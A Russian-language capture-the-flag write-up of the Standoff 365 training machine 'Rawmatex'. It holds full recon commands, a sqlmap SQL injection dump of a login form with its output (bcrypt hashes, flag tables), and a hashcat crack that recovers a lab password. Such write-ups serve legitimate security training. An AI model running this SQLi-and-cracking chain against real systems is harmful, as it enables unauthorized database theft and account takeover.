Всем привет! Меня зовут Саша, играю за команду 4Ray (НЕ ПУТАТЬ С СОЛАРОМ) в CTF и участвую в других активностях в ИБ, чаще всего выступаю под ником MN3STRASHN0. В этом материале представлен путь решения машины Rawmatex на платформе Standoff 365, она довольно простая, но всё равно требует внимательности, ведь поинты сами себя не заработают. В задании используется классическая цепочка уязвимостей, которая в итоге приводит к реализации недопустимого события. Статью готовили вместе с RedblueNotes (одноименные Хабр, и tg‑канал) за что им огромное спасибо. Далее рассмотрим решение.

Описание машины и задание

Рисунок 1 — Легенда и описание машины Rawmatex.
Рисунок 1 — Легенда и описание машины Rawmatex.
Рисунок 2 — Цель задания на платформе Standoff 365
Рисунок 2 — Цель задания на платформе Standoff 365

По легенде, компания MetalliKO использует внутренний портал Rawmatex для отслеживания поставок сырья, заказов и связанных документов. Цель решения — получить доступ к учётной записи администратора портала, изучить документы о поставках и экспортных контрактах, а затем найти флаг в одном из файлов.

Решение

Recon (разведка) и изучение хоста

Разбор начинается с recon’а — первичного сбора информации о хосте. На этом этапе нужно определить открытые порты, виртуальные хосты, версии используемых сервисов и потенциальные уязвимости, а также проверить наличие публичных PoC (proof of concept — демонстрационных эксплойтов). Для быстрого сканирования этой лабораторной машины используется fscan — универсальный инструмент для разведки сети. Команда:

fscan -h 10.124.249.17 

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
10.124.249.17:22 open
10.124.249.17:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://10.124.249.17      code:302 len:0      title:None 跳转url: http://10.124.249.17/auth/login
[*] WebTitle http://10.124.249.17/auth/login code:200 len:3822   title:RawMatEx |
已完成 1/2 [-] ssh 10.124.249.17:22 root root_123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 
<...>
已完成 1/2 [-] ssh 10.124.249.17:22 admin a123456 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 
已完成 2/2
[*] 扫描结束,耗时: 7m1.62807177s

fscan обнаружил два открытых порта: 22/tcp (SSH) и 80/tcp (HTTP). Кроме того, инструмент выполнил встроенную проверку нескольких стандартных комбинаций логина и пароля для SSH, но аутентификация не удалась. Для перепроверки результата также использовался nmap — он показал те же два открытых порта.

Затем выполняется перебор каталогов и файлов с помощью dirsearch. Цель — найти дополнительные страницы, API‑эндпоинты и скрытый функционал сайта. Команда:

dirsearch -u http://10.124.249.17 

Target: http://10.124.249.17/

[15:13:53] Starting: 
[15:14:10] 200 -    4KB - /auth/login  

В результате нашлась только страница /auth/login. Поскольку дополнительных путей обнаружено не было, далее собираются сведения об используемых технологиях и типовых проблемах с помощью nuclei — сканера, работающего на основе шаблонов, также для этой цели были использованы wappalyzer и whatweb, у них примерно сошлись результаты. Команда nuclei и фрагмент вывода:

──(kali㉿kali)-[~]
└─$ nuclei -target 10.124.249.17 

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10

                projectdiscovery.io

[WRN] Found 1 templates with syntax error (use -validate flag for further examination)
[INF] Current nuclei version: v3.4.10 (outdated)
[INF] Current nuclei-templates version: v10.3.2 (latest)
[INF] New templates added in latest release: 130
[INF] Templates loaded for current scan: 8799
[INF] Executing 8792 signed templates from projectdiscovery/nuclei-templates
[WRN] Loading 7 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] Running httpx on input host
[INF] Found 1 URL from httpx
[INF] Templates clustered: 1837 (Reduced 1726 Requests)
[INF] Using Interactsh Server: oast.pro
[external-service-interaction] [http] [info] http://10.124.249.17
[external-service-interaction] [http] [info] http://10.124.249.17
[missing-sri] [http] [info] http://10.124.249.17/auth/login ["https://unpkg.com/htmx.org@2.0.4","https://cdn.jsdelivr.net/npm/tailwindcss@2.2.19/dist/tailwind.min.css"]                                                               
[waf-detect:nginxgeneric] [http] [info] http://10.124.249.17
[ssh-password-auth] [javascript] [info] 10.124.249.17:22                                
<...>
[http-missing-security-headers:x-content-type-options] [http] [info] http://10.124.249.17/auth/login
[form-detection] [http] [info] http://10.124.249.17/auth/login
[INF] Scan completed in 1m. 25 matches found.

nuclei помог определить используемые технологии и конфигурационные особенности: веб‑сервер nginx, доступную парольную аутентификацию в SSH, форму входа и отсутствие заголовка X‑Content‑Type‑Options. Критичных или очевидно эксплуатируемых уязвимостей по версиям nginx и OpenSSH найдено не было.

Также была выполнена проверка наличия виртуальных хостов (поддоменов). Для этого были добавлены rawmatex.standalone.stf в /etc/hosts, а затем с помощью ffuf и словаря SecLists был выполнен перебор значения HTTP‑заголовка Host — в итоге новых виртуальных хостов обнаружить не удалось, поэтому следующим этапом стало изучение самого приложения.

Изучение приложения и эксплуатация уязвимости

После первичной разведки необходимо перейти к изучению веб‑приложения, обычно, на этом этапе, изучают бизнес‑логику и доступный функционал, но здесь без аутентификации доступна только форма входа, поэтому начнём с отправки случайного логина и пароля. Это позволит перехватить POST‑запрос в Burp Suite и понять, какие параметры принимает сервер и какой ответ возвращает.

Рисунок 3 — Форма входа в Rawmatex и перехваченный POST-запрос в Burp Suite.
Рисунок 3 — Форма входа в Rawmatex и перехваченный POST‑запрос в Burp Suite.

В начале был опробован перебор учётных данных по словарю, предоставленному платформой, но, к сожалению, не было получено HTTP‑статуса 200 (успех), поэтому нужно переходить к другим проверкам формы логина и пароля.

Следующей идеей было проверить SQLi (уязвимость на стороне сервера, связанная с обработкой запросов базой данных). Проверяется классическая идея — «сунуть кавычку», то есть добавить одинарную кавычку в поле ввода. Кавычка нарушает синтаксис серверного SQL‑запроса, и приложение отвечает ошибкой Internal Server Error. Это косвенный признак SQL Injection (SQLi) — внедрения SQL‑кода через пользовательский ввод. Для подтверждения уязвимости и автоматизации дальнейшей проверки был использован sqlmap.

Рисунок 4 — Ошибка приложения после добавления одинарной кавычки в поле формы
Рисунок 4 — Ошибка приложения после добавления одинарной кавычки в поле формы

Команда и фрагмент вывода sqlmap:

sqlmap -r 123.txt --risk=3 --level=5  --random-agent --dump --threads=10 --time-sec=5 --timeout=30 --ignore-code=404 --tamper=space2comment
        ___
       __H__                                                                 
 ___ ___[.]_____ ___ ___  {1.9.8#stable}                                     
|_ -| . ["]     | .'| . |                                                    
|___|_  [)]_|_|_|__,|  _|                                                    
      |_|V...       |_|   https://sqlmap.org                                 

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:21:29 /2025-11-20/

[15:21:29] [INFO] parsing HTTP request from '123.txt'
[15:21:29] [INFO] loading tamper module 'space2comment'
<...>
Database: public
Table: materials
[0 entries]
+----+--------+----------+----------+------------+
| id | type   | location | quantity | date_added |
+----+--------+----------+----------+------------+
+----+--------+----------+----------+------------+

[15:22:24] [INFO] table 'public.materials' dumped to CSV file '/home/kali/.local/share/sqlmap/output/10.124.249.17/dump/public/materials.csv'             
[15:22:24] [INFO] fetching columns for table 'secret' in database 'public'
[15:22:24] [INFO] retrieved: 2
<...>
[15:22:27] [INFO] retrieved: 1
Database: public
Table: secret
[1 entry]
+----+--------------------------------------+
| id | flag                                 |
+----+--------------------------------------+
| 1  | 075bce48-3a51-4962-893d-708ee8a05009 |
+----+--------------------------------------+
<...>
[15:23:17] [INFO] retrieved: 2025-11-20
Database: public
Table: orders
[10 entries]
+----+-------------+------------+----------+------------+------------+--------------+
| id | customer_id | status     | quantity | created_at | updated_at | product_type |
+----+-------------+------------+----------+------------+------------+--------------+
| 1  | 128         | qwdqwd     | 100      | 2025-04-18 | 2025-11-20 | Aluminum     |
| 2  | 1           | processing | 50       | 2025-04-18 | 2025-04-18 | Aluminum     |
| 3  | 1           | created    | 150      | 2025-04-18 | 2025-04-18 | Aluminum     |
| 4  | 2           | done       | 88       | 2025-04-18 | 2025-04-18 | Steel        |
| 5  | 2           | processing | 40       | 2025-04-18 | 2025-04-18 | Steel        |
| 6  | 1           | created    | 2        | 2025-11-20 | 2025-11-20 | '            |
| 7  | 1           | created    | 2        | 2025-11-20 | 2025-11-20 | {{7*7}}      |
| 8  | 128         | processing | 0        | 2025-11-20 | 2025-11-20 | {{7*7}}      |
| 9  | 1           | created    | 1        | 2025-11-20 | 2025-11-20 | 1            |
| 10 | 1           | created'   | 1        | 2025-11-20 | 2025-11-20 | 1            |
+----+-------------+------------+----------+------------+------------+--------------+

[15:23:18] [INFO] table 'public.orders' dumped to CSV file 
<...>
Database: public
Table: shipments
[11 entries]
+----+----------+------------+------------+------------+------------------+----------------+----------------+-------------------+
| id | order_id | status     | departure  | created_at | arrival_city     | actual_arrival | departure_city | estimated_arrival |
+----+----------+------------+------------+------------+------------------+----------------+----------------+-------------------+
| 1  | 1        | done       | 2025-05-10 | 2025-04-18 | Saint Petersburg | 2025-05-12     | Moscow         | 2025-05-12        |
| 2  | 1        | done       | 2025-05-08 | 2025-04-18 | Saint Petersburg | 2025-05-12     | Moscow         | 2025-05-10        |
| 3  | 1        | done       | 2025-05-05 | 2025-04-18 | Saint Petersburg | 2025-05-12     | Moscow         | 2025-05-08        |
| 4  | 2        | in process | 2025-06-01 | 2025-04-18 | Saint Petersburg | NULL           | Moscow         | 2025-06-03        |
| 5  | 2        | in process | 2025-06-05 | 2025-04-18 | Saint Petersburg | NULL           | Moscow         | 2025-06-07        |
| 6  | 3        | created    | 2025-06-10 | 2025-04-18 | Saint Petersburg | NULL           | Moscow         | 2025-06-12        |
| 7  | 3        | created    | 2025-06-15 | 2025-04-18 | Saint Petersburg | NULL           | Moscow         | 2025-06-17        |
| 8  | 4        | done       | 2025-05-15 | 2025-04-18 | Kazan            | 2025-05-12     | Moscow         | 2025-05-20        |
| 9  | 4        | done       | 2025-05-10 | 2025-04-18 | Kazan            | 2025-05-12     | Moscow         | 2025-05-15        |
| 10 | 5        | in process | 2025-06-02 | 2025-04-18 | Kazan            | NULL           | Moscow         | 2025-06-07        |
| 11 | 5        | in process | 2025-06-10 | 2025-04-18 | Kazan            | NULL           | Moscow         | 2025-06-15        |
+----+----------+------------+------------+------------+------------------+----------------+----------------+-------------------+
<...>
Database: public
Table: documents
[22 entries]
+----+----------+-----------------------------------+----------------------+------------------------------------------------------+------------+------------+
| id | order_id | name                              | type                 | file_path                                            | created_at | updated_at |
+----+----------+-----------------------------------+----------------------+------------------------------------------------------+------------+------------+
| 1  | 1        | /etc/passwd                       | Report               | uploads/shipment_report_2025_04_30-RE0LvQOXnq.md     | 2025-05-05 | 2025-11-20 |
| 2  | 1        | export_contract_CN_2025_03_121.md | Contract             | uploads/export_contract_CN_2025_03_12-M4hRYDm5cV.md  | 2025-05-05 | 2025-11-20 |
| 3  | 1        | internal_memo_2025_03_10.md       | Memo                 | uploads/internal_memo_2025_03_10-65gE2Gmo9p.md       | 2025-05-05 | 2025-05-05 |
| 4  | 5        | test.php                          | sdsd1                | uploads/test-58KWZJNcet.md                           | 2025-11-20 | 2025-11-20 |
| 5  | 2        | test.md                           | sdsd                 | uploads/test-AmbvSu2HXc.md                           | 2025-11-20 | 2025-11-20 |
| 6  | 8        | test1.md                          | '                    | uploads/test1-BeZuEhbb7Q.md                          | 2025-11-20 | 2025-11-20 |
| 7  | 2        | test2.md                          | sdsd                 | uploads/test2-cB6v8goE8O.md                          | 2025-11-20 | 2025-11-20 |
| 8  | 6        | test.md                           | Res                  | uploads/test-tITFVX7axF.md                           | 2025-11-20 | 2025-11-20 |
| 9  | 1        | qwe.txt                           | }}{7*7}${7*7}{{7*7}} | uploads/qwe-U1Yda3dZgo.txt                           | 2025-11-20 | 2025-11-20 |
| 10 | 1        | qwe.txt                           | }}{7*7}${7*7}{{7*7}} | uploads/qwe-FxAl5Xm8eU.txt                           | 2025-11-20 | 2025-11-20 |
| 11 | 1        | }}{7*7}${7*7}{{7*7}}              | }}{7*7}${7*7}{{7*7}} | uploads/}}{7*7}${7*7}{{7*7}}-48QtZgjdWg              | 2025-11-20 | 2025-11-20 |
| 12 | 1        | wallpaperflare.com_wallpaper.jpg  | asd                  | uploads/wallpaperflare.com_wallpaper-JdcEWnrcVd.jpg  | 2025-11-20 | 2025-11-20 |
| 13 | 2        | passwd                            | ddwqdqwd             | uploads/passwd-VAUn8kWO9g                            | 2025-11-20 | 2025-11-20 |
| 14 | 1        | passwd                            | }}{7*7}${7*7}{{7*7}} | uploads/passwd-10Lx4byGnV                            | 2025-11-20 | 2025-11-20 |
| 15 | 1        | passwd                            | }}{7*7}${7*7}{{7*7}} | uploads/passwd-qxp63aupSz                            | 2025-11-20 | 2025-11-20 |
| 16 | 2        | test.md                           | Contract             | uploads/test-v3vSEBWDxc.md                           | 2025-11-20 | 2025-11-20 |
| 17 | 2        | export_contract_CN_2025_03_121.md | 213                  | uploads/export_contract_CN_2025_03_121-L2fGW56pQ8.md | 2025-11-20 | 2025-11-20 |
| 18 | 2        | export_contract_CN_2025_03_12.md  | 213                  | uploads/export_contract_CN_2025_03_121-KmRAQrvPE6.md | 2025-11-20 | 2025-11-20 |
| 19 | 2        | 123.md                            | 213                  | uploads/123-vJtydPkfOY.md                            | 2025-11-20 | 2025-11-20 |
| 20 | 2        | .md                               | 213                  | uploads/-ArTZHMQ3Cd.md                               | 2025-11-20 | 2025-11-20 |
| 21 | 2        | passwd                            | 213                  | uploads/passwd-OTXBJZ9LFk                            | 2025-11-20 | 2025-11-20 |
| 22 | 2        | <img>                             | 213                  | uploads/<img>-zpEevdSVUV                             | 2025-11-20 | 2025-11-20 |
+----+----------+-----------------------------------+----------------------+------------------------------------------------------+------------+------------+

<...>                                                                      
Database: public
Table: users
[2 entries]
+----+---------------------------+--------------------------------------------------------------+
| id | email                     | password                                                     |
+----+---------------------------+--------------------------------------------------------------+
| 1  | homer_simpson@rawmatex.ru | $2a$10$z8OknjAIXN2xH/rOzACQPehdCjdY3g2eyMCuQS969RuE80a0FRuO6 |
| 2  | guts_berserk@rawmatex.ru  | $2a$10$QZycI7yZHBcwkclmOp3vxe/6I2Z1X8ZYNnxy/.JG1LSWo..eLz4Eu |
+----+---------------------------+--------------------------------------------------------------+
<...>
[15:27:11] [INFO] table 'public.users' dumped to CSV file 
[15:27:15] [INFO] retrieved: 12           
Database: public
Table: customers
[4 entries]
+-----+------------+
| id  | title      |
+-----+------------+
| 1   | MetalliKO  |
| 2   | StillSteel |
| 128 | {{7*'7'}}  |
| 129 | 12         |
+-----+------------+

В таблице secret находится UUID‑флаг, подтверждающий эксплуатацию SQL Injection, этот UUID можно сдать на платформе во вкладке уязвимости и получить 200 очков рейтинга. В таблице users также обнаруживаются две учётные записи с bcrypt‑хэшами паролей: homer_simpson@rawmatex.ru и guts_berserk@rawmatex.ru. Следующим шагом становится восстановление одного из паролей.

Брутфорс bcrypt‑хэша с помощью hashcat

Сначала нужно определить тип хэша. Для этого можно использовать name‑that‑hash или автоматическое определение режима в утилитах hashcat или John the Ripper (обе утилиты используются для брутфорса), а при необходимости — свериться со справочником режимов hashcat. В данном случае строка начинается с $2a$10$, поэтому используется bcrypt, функция хэширования паролей с настраиваемой вычислительной стоимостью, из‑за чего перебор заметно медленнее, чем для быстрых хэшей. В рамках идеи с брутом был выбран словарь rockyou, который часто используется в лабораторных работах.
Определение хэша с помощью hashcat:

PS \hashcat-6.2.6> .\hashcat.exe .\1.txt ..\rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
<...>
      # | Name                                                       | Category
  ======+============================================================+======================================
   3200 | bcrypt $2*$, Blowfish (Unix)                               | Operating System
  25600 | bcrypt(md5($pass)) / bcryptmd5                             | Forums, CMS, E-Commerce
  25800 | bcrypt(sha1($pass)) / bcryptsha1                           | Forums, CMS, E-Commerce
  28400 | bcrypt(sha512($pass)) / bcryptsha512                       | Forums, CMS, E-Commerce

Hashcat определил, что это bcrypt и вывел номер 3200, что означает режим работы для самого hashcat, после чего можно переходить непосредственно к брутфорсу.

PS \hashcat-6.2.6> .\hashcat.exe -m 3200 .\1.txt ..\rockyou.txt
hashcat (v6.2.6) starting

<...>

Session..........: hashcat
Status...........: Running
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2a$10$z8OknjAIXN2xH/rOzACQPehdCjdY3g2eyMCuQS969RuE...0FRuO6
Time.Started.....: Thu Nov 20 23:45:34 2025 (1 min, 27 secs)
Time.Estimated...: Fri Nov 21 03:27:49 2025 (3 hours, 40 mins)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (..\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     1059 H/s (6.48ms) @ Accel:1 Loops:16 Thr:24 Vec:1
Speed.#3.........:       17 H/s (58.80ms) @ Accel:1 Loops:1 Thr:16 Vec:1
Speed.#*.........:     1076 H/s
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 92704/14344384 (0.65%)
Rejected.........: 0/92704 (0.00%)
Restore.Point....: 1024/14344384 (0.01%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:224-240
Restore.Sub.#3...: Salt:0 Amplifier:0-1 Iteration:452-453
Candidate.Engine.: Device Generator
Candidates.#1....: b3autiful -> 445544
Candidates.#3....: 200206 -> luke01
Hardware.Mon.#1..: Temp: 53c Util: 96% Core:2640MHz Mem:8000MHz Bus:8
Hardware.Mon.#3..: N/A

$2a$10$z8OknjAIXN2xH/rOzACQPehdCjdY3g2eyMCuQS969RuE80a0FRuO6:makemoney1

Результатом брутфорса стал пароль makemoney1 для учётной записи homer_simpson@rawmatex.ru.

Реализация недопустимого события

Найденные учётные данные используются для входа в портал, после чего становится доступен его основной функционал. Возвращаясь к условию задания, необходимо найти конфиденциальные сведения в документах. Поэтому скачиваем все файлы, имена которых начинаются со слов internal и export, и просматриваем их содержимое. В одном из экспортных контрактов обнаруживаются строки в формате UUID. Была попытка ввести его в форму сдачи на платформе  было сказано, что кто‑то уже ввёл флаг до меня, следовательно, мы уже близки к завершению задания.

Рисунок 5 — Документы, доступные в портале после аутентификации.
Рисунок 5 — Документы, доступные в портале после аутентификации.

Теперь нужно извлечь все UUID из скачанных документов и найти строки, соответствующие формату UUID. Для этого я буду использовать утилиту grep с регулярным выражением. В выводе получилось много повторов, поэтому результат пропускается через sort и uniq, чтобы оставить только уникальные.

cat export* | grep -oE '[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}' | sort | uniq
028adf2e-fa73-45d9-9877-a30106fe1263
9d4a082f-d76f-4e31-865c-2a96063c4ab3

И, о чудо, один из двух уникальных UUID подошёл в качестве ответа. После его отправки платформа начислила 2500 баллов рейтинга Standoff 365.

В результате была успешно реализована полная цепочка атаки: от первичной разведки и обнаружения SQL Injection до получения доступа к учётной записи администратора и поиска итогового флага. Несмотря на невысокую сложность машины, она позволяет отработать классические этапы пентеста: разведку, анализ веб‑приложения, эксплуатацию SQL Injection, работу с sqlmap, восстановление паролей из bcrypt‑хэшей и поиск артефактов в файловой системе приложения.

Всем спасибо за прочтение!

Комментарии (0)